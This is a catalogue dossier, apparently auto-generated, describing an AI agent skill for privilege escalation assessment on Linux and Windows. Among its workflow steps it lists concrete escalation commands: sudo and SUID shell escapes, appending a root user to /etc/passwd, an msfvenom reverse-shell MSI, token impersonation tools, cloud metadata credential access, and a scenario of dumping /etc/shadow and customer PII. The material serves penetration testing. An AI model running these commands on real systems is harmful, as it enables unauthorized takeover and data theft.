Torna al catalogo
Revisione staticaSviluppo

Dossier della skill

performing-privilege-escalation-assessment

Dichiarazione di fonte

Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.

La descrizione originale dell'autore, conservata in inglese. Descrive l'intento, non prestazioni verificate.

Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.

developmentreferencesscripts

I contenuti di ricerca di questo sito sono pubblicati in inglese e cinese e qui sono mostrati in inglese.

Sintesi della ricerca

Temi correlati
Analisi statica

Queste osservazioni derivano dall'analisi deterministica del sorgente. Non sono una valutazione controllata delle attività.

Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment. This bilingual summary is generated deterministically from collected source text and file structure; it is from static parsing.

Ambito della revisione

Deterministic static analysis of collected SKILL.md and supporting text/code. Machine-assisted candidates and findings are static-analysis candidates; no dynamic behavior or effect is assessed.

Capacità osservabili

  • Workflow [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L60]
  • Step 1: System Enumeration [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L62]
  • Step 2: Linux Privilege Escalation Vectors [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L89]
  • Step 3: Windows Privilege Escalation Vectors [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L109]
  • Step 4: Container and Cloud Escalation [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L127]
  • Step 5: Documentation and Impact Assessment [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L136]

Limiti e ambito

  • Static analysis cannot assess runtime behavior, command success, network reachability, or model output quality.
  • No commands, scripts, network requests, model calls, or controlled skill executions were performed.
  • Category, tags, capabilities, workflows, and bilingual editorial summaries are deterministic candidates from static parsing, not verified outcomes.
  • Exact token counts are unavailable until a later pipeline performs and records an official model-specific count.

Utile per

  • Practitioners evaluating whether to inspect and install the source skill; this audience is inferred from the product context, not measured usage. [Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L1-L39]

Cosa contiene la skill

L'inventario dei file proviene dal sorgente raccolto al commit registrato. Percorsi e dimensioni sono osservazioni strutturali, non una misura di qualità.

file
4
File Markdown
2
script
1
riferimenti
1
Dimensione
34,8 KB
Complessità strutturale
Bassa

Inventario dei file

PercorsoTipoByte
skills/performing-privilege-escalation-assessment/LICENSEAltro11 KB
skills/performing-privilege-escalation-assessment/references/api-reference.mdRiferimento1,8 KB
skills/performing-privilege-escalation-assessment/scripts/agent.pyScript9,5 KB
skills/performing-privilege-escalation-assessment/SKILL.mdIstruzione12,4 KB

Frontmatter di SKILL.md

{
  "name": "performing-privilege-escalation-assessment",
  "description": "Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.\n",
  "domain": "cybersecurity",
  "subdomain": "penetration-testing",
  "tags": [
    "privilege-escalation",
    "post-exploitation",
    "Linux-privesc",
    "Windows-privesc",
    "local-exploitation"
  ],
  "version": "1.0.0",
  "author": "mahipal",
  "license": "Apache-2.0",
  "d3fend_techniques": [
    "Executable Denylisting",
    "Execution Isolation",
    "File Metadata Consistency Validation",
    "Restore Access",
    "Password Authentication"
  ],
  "nist_csf": [
    "ID.RA-01",
    "ID.RA-06",
    "GV.OV-02",
    "DE.AE-07"
  ],
  "mitre_attack": [
    "T1595",
    "T1190",
    "T1059",
    "T1078",
    "T1068"
  ]
}

Una lettura della sequenza operativa

Questo workflow ricostruisce la sequenza apparente a partire dal materiale sorgente. A meno che sia registrata esplicitamente una valutazione controllata, è provvisorio e non una traccia osservata.

  1. 01
    Decisione

    When to Use

    Source-described decision candidate under “When to Use”; not verified execution.

  2. 02
    Azione

    Workflow

    Source-described action candidate under “Workflow”; not verified execution.

  3. 03
    Azione

    Step 1: System Enumeration

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  4. 04
    Azione

    `id && whoami` - Current user and group memberships

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  5. 05
    Azione

    `uname -a` - Kernel version for kernel exploit identification

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  6. 06
    Azione

    `cat /etc/os-release` - Distribution and version

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

Esamina tutti i passaggi di workflow candidati (73 passaggi candidati)
  1. 07
    Azione

    `sudo -l` - Commands the current user can run as root via sudo

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  2. 08
    Azione

    `find / -perm -4000 -type f 2>/dev/null` - SUID binaries

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  3. 09
    Azione

    `find / -perm -2000 -type f 2>/dev/null` - SGID binaries

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  4. 10
    Azione

    `crontab -l && ls -la /etc/cron` - Scheduled tasks running as root

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  5. 11
    Azione

    `ps aux | grep root` - Processes running as root

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  6. 12
    Azione

    `cat /etc/passwd` - User accounts (look for additional users with UID 0)

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  7. 13
    Azione

    `find / -writable -type d 2>/dev/null` - World-writable directories

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  8. 14
    Azione

    Run `linpeas.sh` for automated comprehensive enumeration

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  9. 15
    Azione

    `whoami /priv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  10. 16
    Azione

    `systeminfo` - OS version, hotfix level, architecture

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  11. 17
    Azione

    `wmic service get name,pathname,startmode` - Unquoted service paths

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  12. 18
    Azione

    `icacls "C:\Program Files" /T` - Writable directories in Program Files

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  13. 19
    Azione

    `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` - AlwaysInstallElevated check

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  14. 20
    Azione

    `cmdkey /list` - Stored Windows credentials

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  15. 21
    Azione

    `schtasks /query /fo LIST /v` - Scheduled tasks with their run-as accounts

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  16. 22
    Azione

    Run `winPEAS.exe` for automated comprehensive enumeration

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  17. 23
    Azione

    Step 2: Linux Privilege Escalation Vectors

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  18. 24
    Decisione

    Sudo misconfigurations: If `sudo -l` shows entries like `(ALL) NOPASSWD: /usr/bin/vim`, use GTFOBins to escalate:

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  19. 25
    Azione

    `sudo vim -c ':!/bin/bash'` to spawn a root shell

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  20. 26
    Azione

    Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  21. 27
    Decisione

    SUID binary abuse: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  22. 28
    Decisione

    Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  23. 29
    Azione

    Known SUID: Check GTFOBins for exploitation of standard SUID binaries

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  24. 30
    Decisione

    Cron job exploitation: If a cron job runs a script writable by the current user, or runs a script from a writable directory:

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  25. 31
    Azione

    Modify the script to add a reverse shell or SUID copy of bash

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  26. 32
    Decisione

    PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  27. 33
    Azione

    Kernel exploits: Match the kernel version to known exploits:

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  28. 34
    Azione

    DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  29. 35
    Azione

    DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  30. 36
    Azione

    PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  31. 37
    Azione

    Capabilities abuse: `getcap -r / 2>/dev/null` to find binaries with elevated capabilities (capsetuid, capdacoverride)

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  32. 38
    Decisione

    Writable /etc/passwd: If /etc/passwd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd`

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  33. 39
    Azione

    Step 3: Windows Privilege Escalation Vectors

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  34. 40
    Decisione

    Token impersonation: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):

    Source-described decision candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  35. 41
    Azione

    Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  36. 42
    Azione

    `PrintSpoofer.exe -i -c "cmd /c whoami"` -> `NT AUTHORITY\SYSTEM`

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  37. 43
    Decisione

    Unquoted service paths: If a service has an unquoted path with spaces (e.g., `C:\Program Files\My App\service.exe`) and you can write to an intermediate directory:

    Source-described decision candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  38. 44
    Azione

    Place a malicious executable at `C:\Program Files\My.exe` which will execute when the service restarts

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  39. 45
    Decisione

    Writable service binaries: If you can modify the executable of a service running as SYSTEM:

    Source-described decision candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  40. 46
    Azione

    Replace the binary with a reverse shell and restart the service

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  41. 47
    Decisione

    AlwaysInstallElevated: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:

    Source-described decision candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  42. 48
    Azione

    Generate a malicious MSI: `msfvenom -p windows/x64/shellreversetcp LHOST=<ip> LPORT=<port> -f msi -o shell.msi`

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  43. 49
    Azione

    Install with elevated privileges: `msiexec /quiet /qn /i shell.msi`

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  44. 50
    Azione

    Stored credentials: Check for credentials in `cmdkey /list`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  45. 51
    Input

    DLL hijacking: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.

    Source-described input candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  46. 52
    Azione

    Scheduled tasks: Find tasks running as SYSTEM with writable scripts or binaries

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  47. 53
    Azione

    Step 4: Container and Cloud Escalation

    Source-described action candidate under “Step 4: Container and Cloud Escalation”; not verified execution.

  48. 54
    Decisione

    Docker breakout: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`/var/run/docker.sock`), or has `SYSADMIN` capability

    Source-described decision candidate under “Step 4: Container and Cloud Escalation”; not verified execution.

  49. 55
    Azione

    Kubernetes pod escalation: Check for service account tokens with cluster-admin rights, hostPID/hostNetwork namespaces, or hostPath volume mounts

    Source-described action candidate under “Step 4: Container and Cloud Escalation”; not verified execution.

  50. 56
    Azione

    Cloud metadata: Access cloud instance metadata from compromised hosts (`http://169.254.169.254/latest/meta-data/`) to discover IAM roles, credentials, and instance information

    Source-described action candidate under “Step 4: Container and Cloud Escalation”; not verified execution.

  51. 57
    Decisione

    IAM role abuse: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation

    Source-described decision candidate under “Step 4: Container and Cloud Escalation”; not verified execution.

  52. 58
    Azione

    Step 5: Documentation and Impact Assessment

    Source-described action candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  53. 59
    Azione

    Record every command executed during escalation with timestamps

    Source-described action candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  54. 60
    Azione

    Capture proof of elevated access (whoami showing root/SYSTEM, accessing restricted files)

    Source-described action candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  55. 61
    Azione

    Document what data or systems become accessible at the elevated privilege level

    Source-described action candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  56. 62
    Azione

    Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)

    Source-described action candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  57. 63
    Input

    Provide specific remediation for each identified escalation vector

    Source-described input candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  58. 64
    Azione

    Key Concepts

    Source-described action candidate under “Key Concepts”; not verified execution.

  59. 65
    Azione

    Tools & Systems

    Source-described action candidate under “Tools & Systems”; not verified execution.

  60. 66
    Azione

    Common Scenarios

    Source-described action candidate under “Common Scenarios”; not verified execution.

  61. 67
    Azione

    Run `linpeas.sh` which identifies that `www-data` can run `/usr/bin/find` as root via sudo without a password

    Source-described action candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  62. 68
    Azione

    Verify with `sudo -l`: `(root) NOPASSWD: /usr/bin/find`

    Source-described action candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  63. 69
    Azione

    Consult GTFOBins for the `find` sudo entry: `sudo find . -exec /bin/bash -p \; -quit`

    Source-described action candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  64. 70
    Azione

    Execute the command and obtain a root shell

    Source-described action candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  65. 71
    Input

    As root, access `/etc/shadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII

    Source-described input candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  66. 72
    Azione

    Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible

    Source-described action candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  67. 73
    Output

    Output Format

    Source-described output candidate under “Output Format”; not verified execution.

Possibili superfici di rischio

I rilievi statici indicano i punti da esaminare prima dell'installazione. Non stabiliscono che una skill sia sicura, dannosa o efficace.

Attenzione consigliata

53 deterministic lexical finding(s) require review across the collected text. Findings can occur in documentation and do not prove execution or exploitability; binary-only files were not scanned.

Accesso alla reteOsservato
Scritture su fileOsservato
Uso di credenzialiOsservato
Medio

Network access is mentioned

7 occorrenze

A URL or network client appears in this source line. Review destinations, data sent, and trust boundaries; static text cannot establish actual network activity. This rule matched 7 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Alto

Elevated privileges are referenced

23 occorrenze

Privilege-elevation syntax is present. Confirm whether elevation is necessary and inspect every operation performed under it; static analysis cannot prove that elevation succeeded. This rule matched 23 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Nota

File modification is described or implemented

20 occorrenze

This line contains a possible file-write or redirection operation. Check destination paths and overwrite behavior; the static review did not write any file. This rule matched 20 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Alto

Credential or secret material is referenced

3 occorrenze

This line resembles a credential literal or reads a sensitive environment value. Do not expose its contents; verify whether it is a placeholder, required secret, or accidentally committed material. This rule matched 3 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Dove può essere consumato il contesto

I livelli di individuazione, attivazione e risorse hanno significati diversi. I valori esatti compaiono solo quando il metodo ufficiale di conteggio è stato eseguito con un modello indicato.

Conteggio esatto dei token non disponibile

All token values, including per-file inventory, are null until the pipeline performs an official exact count with an explicit model.

Non è stata registrata alcuna misura dei token con il metodo ufficiale richiesto. Questo dossier non la sostituisce con conteggi di caratteri, dimensioni dei file o stime.

Valutazione controllata

Nessuna valutazione controllata

Questa skill dispone solo delle evidenze indicate sopra. Non si afferma alcun tasso di successo, efficienza in token, latenza o vantaggio di qualità.

Non testato

Usare tenendo il sorgente in vista

Comando di installazione
Inspect the pinned source at https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/54a798831d2266a3ca61ce68a7acb80b81160d57/skills/performing-privilege-escalation-assessment/SKILL.md and follow the source repository's installation instructions. No installation was performed or verified by this static analyzer. Source license: Apache-2.0.

Prerequisiti

  • Static analysis cannot assess runtime behavior, command success, network reachability, or model output quality.
  • No commands, scripts, network requests, model calls, or controlled skill executions were performed.
  • Category, tags, capabilities, workflows, and bilingual editorial summaries are deterministic candidates from static parsing, not verified outcomes.
  • Exact token counts are unavailable until a later pipeline performs and records an official model-specific count.

Prompt di esempio

Non fornito

Un giudizio, con i suoi limiti

Punti di forza

  • The snapshot contains 4 collected file(s), 2 Markdown file(s), and 1 script file(s), enabling source-level inspection. [Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L1]

Aspetti da valutare

  • No functional, security, or model-quality result has been established. Inspect source context and all cited findings before installation or publication.
Conclusione della ricerca

Provisional deterministic static inventory only; from static parsing and, separately, controlled evaluation. No install recommendation, security assurance, or effectiveness claim is made.

Tracciabile per costruzione

Il dossier è una lettura circoscritta nel tempo di un artefatto pubblico, non un'approvazione. Usa il link al sorgente per esaminare il materiale upstream esatto.

mukul975Anthropic-Cybersecurity-Skillsskills/performing-privilege-escalation-assessment
Tipo di fonte
Community
Commit
54a798831d2266a3ca61ce68a7acb80b81160d57
Raccolta
20 nov 2026
Ultimo controllo
20 nov 2026
Licenza upstream
Apache-2.0
Stelle del repository
36.446
Base dei contenuti

Deterministic lexical parsing, YAML frontmatter validation, file inventory, source-described workflow extraction, and heuristic provisional classification of the supplied files only. Generated by machine; no LLM, execution, or dynamic testing.